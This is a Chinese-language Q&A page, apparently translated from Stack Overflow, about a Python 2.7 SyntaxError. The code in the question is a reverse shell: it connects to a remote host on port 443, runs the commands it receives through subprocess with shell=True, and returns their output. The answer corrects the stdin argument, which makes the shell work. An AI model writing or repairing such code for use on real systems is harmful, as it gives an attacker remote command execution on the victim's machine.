SyntaxError:关键字参数后的非关键字参数

时间:2015-02-05 20:13:52

标签: python-2.7

这是我的代码,当我运行它时,我收到此错误:"SyntaxError: non-keyword arg after keyword arg"

#!/usr/bin/python

import subprocess

import socket

host =  'IP ADDRESS'

port = 443

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s.send('Hello there!\n')

while 1:

    data = s.recv(1024)
    if data == 'quit':
        break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin,subprocess.PIPE)
    stdoutput = proc.stdout.read() + proc.stderr.read()
    s.send(stdoutput)
s.send('Bye')

s.close()

1 个答案:

答案 0 :(得分:0)

您有一个逗号,,其中等于=应为:

proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin,subprocess.PIPE)
                                                                                               ^

应该是stdin=subprocess.PIPE

相关问题